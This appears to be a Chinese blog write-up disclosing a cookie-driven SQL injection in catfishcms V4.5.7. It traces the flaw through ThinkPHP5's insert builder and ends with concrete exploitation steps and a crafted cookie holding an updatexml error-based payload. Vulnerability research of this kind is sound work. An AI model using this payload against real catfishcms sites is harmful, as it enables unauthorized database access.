catfishcms V4.5.7前台SQL注入

漏洞描述

怎么说呢,这个CMS以前挖过一次,刚开始确实写得不咋的,后来貌似重构了一下,安全性上了一个档次。
最近看到有人发了这个CMS的漏洞,思路挺不错的,不过文章开头说没有注入,我就试着又审了一次新版。
虽然直观的漏洞不存在了,但是我们细心并且猥琐一点,就可以挖到一个注入了。

漏洞分析

大概看了一下,TP5的防御确实比TP3要好一点....主要是把where函数一改写,确实没有那种直观的一发数组就打穿的注入。但是我留意到这个地方:
/application/user/controller/Common.php中第45行:

  protected function checkUser()
    {
        if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user'))
        {
            $cookie_user_p = Cache::get('cookie_user_p');
            if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false)
            {
                $user = Db::name('users')->where('user_login', Cookie::get($this->session_prefix.'user'))->field('user_pass,user_type')->find();
                if(!empty($user) && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p'))
                {
                    Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id'));
                    Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user'));
                    Session::set($this->session_prefix.'user_type',$user['user_type']);
                }
            }
        }
        if(!Session::has($this->session_prefix.'user_id'))
        {
            $this->redirect(Url::build('/login'));
        }
        if(Session::get($this->session_prefix.'user_type') == 1)
        {
            $this->redirect(Url::build('/admin'));
        }
        $this->assign('login', $this->getUser());
    }

函数的功能就是一个校验用户是否登录。看逻辑,看第一个if。如果我们没有session,那么就从cookie中取值,这里用到了几个cookie,一个是user_id,一个是user,一个是user_p。

然后将user带入数据库查询,这个其实就是我们的用户名,将查询出来的密码与$cookie_user_p拼接一下然后md5一下就与我们的COOKIE的user_p进行比较,如果相等的话,就设置一系列session。用户验证是没毛病的,但是这个地方发现有一个东西也就是从COOKIE取得user_id没有参与任何逻辑操作就直接设置到session里面去了。就让我对这个东西产生了注意,等于我们可以控制session中的user_id的值了。

我们全文查找一下用到这个session的user_id的地方在哪,我找到一处:
/application/index/controller/Index.php中第548行:

 public function pinglun()
    {
        $beipinglunren = Db::name('posts')->where('id',Request::instance()->post('id'))->field('post_author')->find();
        if($beipinglunren['post_author'] != Session::get($this->session_prefix.'user_id'))
        {
            $comment = Db::name('options')->where('option_name','comment')->field('option_value')->find();
            $plzt = 1;
            if($comment['option_value'] == 1)
            {
                $plzt = 0;
            }
            //添加评论
            $data = [
                'post_id' => Request::instance()->post('id'),
                'url' => 'index/Index/article/id/'.Request::instance()->post('id'),
                'uid' => Session::get($this->session_prefix.'user_id'),
                'to_uid' => $beipinglunren['post_author'],
                'createtime' => date("Y-m-d H:i:s"),
                'content' => $this->filterJs(Request::instance()->post('pinglun')),
                'status' => $plzt
            ];
            Db::name('comments')->insert($data);
            //修改评论信息
            Db::name('posts')
                ->where('id', Request::instance()->post('id'))
                ->update([
                    'post_comment' => date("Y-m-d H:i:s"),
                    'comment_count' => ['exp','comment_count+1']
                ]);
            $param = '';
            Hook::add('comment_post',$this->plugins);
            Hook::listen('comment_post',$param,$this->ccc);
        }
    }

这里取到了我们session中的user_id的值然后添加到了$data这个数组中,作为uid的值。
然后将$data带入到了insert函数中,貌似有戏,就跟进去看看,在/catfish/library/think/db/Builder.php中第597行:

 public function insert(array $data, $options = [], $replace = false)
    {
        // 分析并处理数据
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }
        $fields = array_keys($data);
        $values = array_values($data);

        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table']),
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

        return $sql;
    }

然后这里调用了一个parseData对$data进行处理:

 protected function parseData($data, $options)
    {
        if (empty($data)) {
            return [];
        }

        // 获取绑定信息
        $bind = $this->query->getFieldsBind($options);
        if ('*' == $options['field']) {
            $fields = array_keys($bind);
        } else {
            $fields = $options['field'];
        }

        $result = [];
        foreach ($data as $key => $val) {
            $item = $this->parseKey($key);
            if (!in_array($key, $fields, true)) {
                if ($options['strict']) {
                    throw new Exception('fields not exists:[' . $key . ']');
                }
            } elseif (isset($val[0]) && 'exp' == $val[0]) {
                $result[$item] = $val[1];
            } elseif (is_null($val)) {
                $result[$item] = 'NULL';
            } elseif (is_scalar($val)) {
                // 过滤非标量数据
                if ($this->query->isBind(substr($val, 1))) {
                    $result[$item] = $val;
                } else {
                    $this->query->bind($key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                    $result[$item] = ':' . $key;
                }
            }
        }
        return $result;
    }

注意看了啊,这里的$var[0]如果等于exp的话,就直接将$val[1]给$result[$item]。所以这里我们肯定要构造一个数组的。
等处理完了,就直接return $result。
然后我们返回上级看看:

        $fields = array_keys($data);
        $values = array_values($data);

        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table']),
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

直接array_values取出来,然后implode一下,好的,明显的注入。

接下来开始构造payload了,构造payload的时候也有点大意了,我以为直接传数组就可以了,结果并不行,我就又去看了一下取COOKIE得函数:

    public static function get($name, $prefix = null)
    {
        !isset(self::$init) && self::init();
        $prefix = !is_null($prefix) ? $prefix : self::$config['prefix'];
        $name   = $prefix . $name;
        if (isset($_COOKIE[$name])) {
            $value = $_COOKIE[$name];
            if (0 === strpos($value, 'think:')) {
                $value = substr($value, 6);
                $value = json_decode($value, true);
                array_walk_recursive($value, 'self::jsonFormatProtect', 'decode');
            }
            return $value;
        } else {
            return null;
        

它取了COOKIE的值之后还进行了一次strpos操作,所以这个地方我们如果直接传数组会报error的错误,就是因为strpos的参数不能是数组。但是我一看到if里面有一个json_decode。那等于还是可以传数组嘛(吓我一跳)。

漏洞利用

为了方便起见。把app_debug打开吧,方便报错注入。
将/application/config.php中的app_debug改为true即可。

首先我们前台注册一个账号吧。
用户名:balisong 密码:balisong

首先我们要登录一次,不过这个地方要把记住我勾上,如图:

然后会发现我们多了几个cookie,如图:

其中最重要的就是这个user_p的cookie。
我这里是65332ad27c4ca83675c01ad285367903

然后我们开始换个浏览器搞事情。或者你清除掉PHPSESSION也可以。

然后开始构造COOKIE:

catfishcatfishcmsuser = balisong
catfishcatfishcmsuser_p = 65332ad27c4ca83675c01ad285367903
catfishcatfishcmsuser_id = think:["exp","1 or updatexml(1,concat(0x3e,user()),0)"]

构造完毕后,访问一次http://localhost/catfishcms/user/index.html

页面报错不要紧,主要是为了触发checkuser这个函数。

然后访问http://localhost/catfishcms/index/index/pinglun.html

可以看到报错了,爆出了数据库用户名:

Comments
Write a Comment
  • Rai4over reply

    给畅师傅提鞋子

  • Admin reply

    给畅师傅撑雨伞

  • emmmm reply

    给师傅洗脚

  • soul reply

    师傅能加个微信吗 想等你闲再请教一点问题

    • @soul 推特私我吧,我不是很想在博客上留联系方式。